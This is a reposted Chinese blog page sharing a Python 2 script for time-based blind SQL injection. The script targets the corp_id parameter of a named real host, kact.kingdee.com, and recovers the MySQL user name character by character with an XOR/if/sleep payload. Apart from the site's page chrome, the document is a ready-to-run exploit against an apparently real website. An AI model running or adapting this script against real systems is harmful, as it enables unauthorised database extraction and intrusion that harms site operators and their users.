码迷,mamicode.com
首页 > 其他好文 > 详细

时间盲注脚本.py

时间:2018-03-10 10:20:30      阅读:277      评论:0      收藏:0      [点我收藏+]

标签:abc   mysq   article   python   method   xor   one   mys   ascii   

 

时间盲注脚本

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib

headers = {}
payloads = ‘abcdefghijklmnopqrstuvwxyz0123456789@_.ABCDEFGHIJKLMNOPQRST‘
print ‘[%s] Start to retrive MySQL User:‘ % time.strftime(‘%H:%M:%S‘, time.localtime())
user = ‘‘
for i in range(1, 21):#21是user判断出的长度+1
    for payload in payloads:
        try:
            s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
            s = "aaa‘XOR(if(%s,sleep(3),0))OR‘bbb" % s
            conn = httplib.HTTPConnection(‘kact.kingdee.com‘, timeout=3)#输入网站地址
            conn.request(method=‘GET‘,url="/world/createArticle?corp_id=%s" % urllib.quote(s))
            conn.getresponse()
            conn.close()
            print ‘.‘,
        except:
            user += payload
            print ‘\n[in progress]‘, user,
            time.sleep(3.0)
            break
        
print ‘\n[Done] MySQL user is %s‘ % user

  

时间盲注脚本.py

标签:abc   mysq   article   python   method   xor   one   mys   ascii   

原文地址:https://www.cnblogs.com/nul1/p/8537196.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!